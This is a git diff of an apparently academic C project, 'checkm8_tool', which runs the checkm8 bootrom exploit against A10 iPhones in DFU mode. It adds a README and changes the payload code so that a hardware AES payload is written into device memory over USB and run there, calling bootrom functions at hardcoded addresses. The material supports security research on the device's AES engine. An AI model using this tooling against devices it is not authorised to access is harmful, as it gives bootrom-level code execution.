diff --git a/CMakeLists.txt b/CMakeLists.txt index 4365d99..f5557da 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -1,5 +1,5 @@ cmake_minimum_required(VERSION 3.10) -project(ipwndfu_rewrite_c) +project(checkm8_tool) enable_language(C) include_directories(include) diff --git a/README b/README new file mode 100644 index 0000000..8f47e91 --- /dev/null +++ b/README @@ -0,0 +1,45 @@ +~~~~~ checkm8_tool ~~~~~ + +This is the code for the optimized version of checkm8 that I wrote as a part of +this project. It consists of a variety of modules and was built to run on +Linux. It will probably not work on Windows or MacOS, although a port could +definitely be possible in the future. + + checkm8_remote: the main executable generated by the project. It + includes various functionality for communicating with + and exploiting a device (currently, only iPhones with + an A10 chip are supported), including payload transfer + and execution. The main program is located in the + checkm8_remote/main.c file. It is currently configured + to install and run a basic AES payload. + + checkm8_libusb: a userspace library for communicating with USB devices. + Currently this is unmodified from the standard release + of libusb1.0, but in future versions there will be + modifications to enable custom USB behavior. + + checkm8_payloads: the custom payload functionality is defined in this + directory. To compile payloads, you need the + aarch64-linux-gnu toolchain to cross-compile binaries + for the iPhone platform. + +~~~~~ Building ~~~~~ + +This project uses cmake as its build system. To build, simply do the following +commands in the project's root directory + + mkdir build + cd build + cmake .. + make + +~~~~~ Usage ~~~~~~ + +To run the checkm8-remote binary, simply run + + ./build/checkm8_remote/checkm8_remote + +without any flags. Functionality is currently hardcoded to the AES payload, but +will be made more configurable in the future. Make sure that the target device +is in DFU mode before running the program. + diff --git a/checkm8_payloads/CMakeLists.txt b/checkm8_payloads/CMakeLists.txt index 53f2992..5e3d96d 100644 --- a/checkm8_payloads/CMakeLists.txt +++ b/checkm8_payloads/CMakeLists.txt @@ -1,4 +1,4 @@ -enable_language(ASM) +project(checkm8_payloads ASM) include_directories(include) set(CMAKE_SYSTEM_PROCESSOR arm) diff --git a/checkm8_payloads/bin/payload_aes.bin b/checkm8_payloads/bin/payload_aes.bin deleted file mode 100644 index 257cef2..0000000 Binary files a/checkm8_payloads/bin/payload_aes.bin and /dev/null differ diff --git a/checkm8_payloads/bin/payload_sync.bin b/checkm8_payloads/bin/payload_sync.bin deleted file mode 100644 index 0724988..0000000 --- a/checkm8_payloads/bin/payload_sync.bin +++ /dev/null @@ -1 +0,0 @@ -¿?ÕuÕŸ?Õß?ÕÀ_Ö \ No newline at end of file diff --git a/checkm8_payloads/bin/payload_sysreg.bin b/checkm8_payloads/bin/payload_sysreg.bin deleted file mode 100644 index 8fc742e..0000000 Binary files a/checkm8_payloads/bin/payload_sysreg.bin and /dev/null differ diff --git a/checkm8_payloads/include/brfunc_aes.h b/checkm8_payloads/include/brfunc_aes.h index a16150b..7c0137d 100644 --- a/checkm8_payloads/include/brfunc_aes.h +++ b/checkm8_payloads/include/brfunc_aes.h @@ -3,6 +3,8 @@ #include "brfunc_common.h" +#define AES_HW_CRYPTO_CMD ((BOOTROM_FUNC) ADDR_AES_HW_CRYPTO_CMD) + #define CREATE_KEY_COMMAND ((BOOTROM_FUNC) ADDR_CREATE_KEY_COMMAND) #define PUSH_COMMAND_KEY ((BOOTROM_FUNC) ADDR_PUSH_COMMAND_KEY) #define PUSH_COMMAND_IV ((BOOTROM_FUNC) ADDR_PUSH_COMMAND_IV) diff --git a/checkm8_payloads/include/brfunc_common.h b/checkm8_payloads/include/brfunc_common.h index dfd1d75..62cd281 100644 --- a/checkm8_payloads/include/brfunc_common.h +++ b/checkm8_payloads/include/brfunc_common.h @@ -8,6 +8,7 @@ typedef int (*BOOTROM_FUNC)(); #if CHECKM8_PLATFORM == 8010 /* AES */ +#define ADDR_AES_HW_CRYPTO_CMD 0x100000f0c #define ADDR_CREATE_KEY_COMMAND 0x100000e90 #define ADDR_PUSH_COMMAND_KEY 0x100000c64 #define ADDR_PUSH_COMMAND_IV 0x100000d18 diff --git a/checkm8_payloads/src/aes.c b/checkm8_payloads/src/aes.c index 3926e92..363cb6b 100644 --- a/checkm8_payloads/src/aes.c +++ b/checkm8_payloads/src/aes.c @@ -14,23 +14,26 @@ int aes_hw_crypto_command(unsigned int cmd, void *iv) { int seeded; + long cgvar; long start = 0, timeout = 0; - CLOCK_GATE(0x3C, 1); - seeded = DPA_SEEDED(); - if(!seeded) - { - SEP_CREATE_SEND_DPA_MESSAGE(); - start = SYSTEM_TIME(); + __asm__("orr %0, xzr, #0x3c" : "=r" (cgvar)); + CLOCK_GATE(cgvar, 1); - while(!seeded && !timeout) - { - seeded = DPA_SEEDED(); - timeout = TIME_HAS_ELAPSED(start, 1000); - } - } - - if(timeout) return -1; +// seeded = DPA_SEEDED(); +// if(!(seeded & 1)) +// { +// SEP_CREATE_SEND_DPA_MESSAGE(); +// start = SYSTEM_TIME(); +// +// while(!(seeded & 1) && !(timeout & 1)) +// { +// seeded = DPA_SEEDED(); +// timeout = TIME_HAS_ELAPSED(start, 1000); +// } +// } +// +// if(timeout) return -1; unsigned int key_command = CREATE_KEY_COMMAND(0, 0, 0, 0, 1, 0, 0, 0); *rAES_INT_STATUS = 0x20; @@ -43,18 +46,14 @@ int aes_hw_crypto_command(unsigned int cmd, WAIT_FOR_COMMAND_FLAG(); *rAES_CONTROL = 2; - CLOCK_GATE(0x3C, 0); + CLOCK_GATE(cgvar, 0); return 0; } TEXT_SECTION -int _start(unsigned int cmd, - void *src, +int _start(void *src, void *dst, - int len, - unsigned int opts, - void *key, - void *iv) + void *key) { - return aes_hw_crypto_command(cmd, src, dst, len, opts, key, iv); + return aes_hw_crypto_command(0, src, dst, 128, 0, key, 0); } \ No newline at end of file diff --git a/checkm8_remote/CMakeLists.txt b/checkm8_remote/CMakeLists.txt index 1198748..f71410b 100644 --- a/checkm8_remote/CMakeLists.txt +++ b/checkm8_remote/CMakeLists.txt @@ -1,3 +1,5 @@ +project(checkm8_remote C) + set(CMAKE_C_STANDARD 99) set(CMAKE_C_FLAGS -g) diff --git a/checkm8_remote/bin/payloads b/checkm8_remote/bin/payloads index 13965fc..648bafd 120000 --- a/checkm8_remote/bin/payloads +++ b/checkm8_remote/bin/payloads @@ -1 +1 @@ -/home/grg/Projects/School/NCSU/iphone_aes_sc/ipwndfu_rewrite_c/checkm8_payloads/bin \ No newline at end of file +/home/grg/Projects/School/NCSU/iphone_aes_sc/checkm8_tool/checkm8_payloads/bin \ No newline at end of file diff --git a/checkm8_remote/main.c b/checkm8_remote/main.c index 1ba9cb6..a30459c 100644 --- a/checkm8_remote/main.c +++ b/checkm8_remote/main.c @@ -4,7 +4,8 @@ #include #include #include -#include +#include +#include "command.h" void checkm8_debug_indent(const char *format, ...) { @@ -46,23 +47,54 @@ int main() } struct dev_cmd_resp *resp; + ret = install_payload(dev, PAYLOAD_SYNC, DRAM); + if(IS_CHECKM8_FAIL(ret)) + { + printf("Failed to install sync payload\n"); + return -1; + } - install_payload(dev, PAYLOAD_SYNC, DRAM); - install_payload(dev, PAYLOAD_SYSREG, DRAM); + ret = install_payload(dev, PAYLOAD_AES, DRAM); + if(IS_CHECKM8_FAIL(ret)) + { + printf("Failed to install AES payload\n"); + return -1; + } resp = execute_payload(dev, PAYLOAD_SYNC, 0); - printf("payload sync execution got ret %i\n", resp->ret); - free_dev_cmd_resp(resp); - - resp = execute_payload(dev, PAYLOAD_SYSREG, 0); - if(resp->ret == CHECKM8_SUCCESS) + if(IS_CHECKM8_FAIL(resp->ret)) { - long long evt_base = RESP_VALUE(resp->data, unsigned long long, 0); - printf("got evt base %llx\n", evt_base); - - resp = read_payload(dev, evt_base, 16); - printf("%08llX %08llx %08llx", - RESP_VALUE(resp->data, unsigned long long, 0), - RESP_VALUE(resp->data, unsigned long long, 1)); + printf("Failed to execute sync payload\n"); + return -1; } -} \ No newline at end of file + + unsigned char data[16] = {0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, + 0xef}; + unsigned char key[16] = {0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, + 0xef}; + + free_dev_cmd_resp(resp); + resp = write_payload(dev, 0x180152000, data, 16); + if(IS_CHECKM8_FAIL(resp->ret)) + { + printf("Failed to write AES data\n"); + return -1; + } + + free_dev_cmd_resp(resp); + resp = write_payload(dev, 0x180152010, key, 16); + if(IS_CHECKM8_FAIL(resp->ret)) + { + printf("Failed to write AES key\n"); + return -1; + } + + free_dev_cmd_resp(resp); + resp = execute_payload(dev, PAYLOAD_AES, 7, 16, 0x180152000, DFU_IMAGE_BASE + 56, 128, 0, 0x180152010, 0); + + if(IS_CHECKM8_FAIL(resp->ret)) + { + printf("Failed to execute AES\n"); + return -1; + } +} diff --git a/checkm8_remote/src/command.c b/checkm8_remote/src/command.c index f168355..2ea20e7 100644 --- a/checkm8_remote/src/command.c +++ b/checkm8_remote/src/command.c @@ -249,6 +249,4 @@ struct dev_cmd_resp *dev_write_memory(struct pwned_device *dev, long long addr, memcpy(&cmd_args[40], data, len); return command(dev, (unsigned char *) &cmd_args, 40 + len, 1 * sizeof(unsigned long long)); - - return dev_memcpy(dev, addr, DFU_IMAGE_BASE + 40, len); } \ No newline at end of file diff --git a/checkm8_remote/src/payload.c b/checkm8_remote/src/payload.c index 159c169..ca0dc8c 100644 --- a/checkm8_remote/src/payload.c +++ b/checkm8_remote/src/payload.c @@ -195,23 +195,25 @@ struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int for(i = 0; i < nargs; i++) { args[i + 1] = va_arg(arg_list, unsigned long long); - checkm8_debug_indent("\textracted arg %li\n", args[i + 1]); + checkm8_debug_indent("\textracted arg %lx\n", args[i + 1]); } va_end(arg_list); - resp = dev_exec(dev, 8, nargs + 1, args); + resp = dev_exec(dev, 16, nargs + 1, args); release_device_bundle(dev); return resp; } struct dev_cmd_resp *read_payload(struct pwned_device *dev, long long addr, int len) { + checkm8_debug_indent("read_payload(dev = %p, addr = %lx, len = %i)\n", dev, addr, len); int ret; struct dev_cmd_resp *resp; ret = get_device_bundle(dev); if(IS_CHECKM8_FAIL(ret)) { + checkm8_debug_indent("\tfailed to get device bundle\n"); resp = calloc(1, sizeof(struct dev_cmd_resp)); resp->ret = ret; return resp; @@ -224,12 +226,14 @@ struct dev_cmd_resp *read_payload(struct pwned_device *dev, long long addr, int struct dev_cmd_resp *write_payload(struct pwned_device *dev, long long addr, unsigned char *data, int len) { + checkm8_debug_indent("write_payload(dev = %p, addr = %lx, data = %p, len = %i)\n", dev, addr, data, len); int ret; struct dev_cmd_resp *resp; ret = get_device_bundle(dev); if(IS_CHECKM8_FAIL(ret)) { + checkm8_debug_indent("\tfailed to get device bundle\n"); resp = calloc(1, sizeof(struct dev_cmd_resp)); resp->ret = ret; return resp; diff --git a/include/checkm8_config.h b/include/checkm8_config.h index 0d2ad00..771eaff 100644 --- a/include/checkm8_config.h +++ b/include/checkm8_config.h @@ -4,7 +4,7 @@ //#define LIBUSB_LOGGING #define CHECKM8_LOGGING #define CHECKM8_PLATFORM 8010 -#define CHECKM8_BIN_BASE "/home/grg/Projects/School/NCSU/iphone_aes_sc/ipwndfu_rewrite_c/checkm8_remote/bin/" +#define CHECKM8_BIN_BASE "/home/grg/Projects/School/NCSU/iphone_aes_sc/checkm8_tool/checkm8_remote/bin/" void checkm8_debug_indent(const char *format, ...); void checkm8_debug_block(const char *format, ...);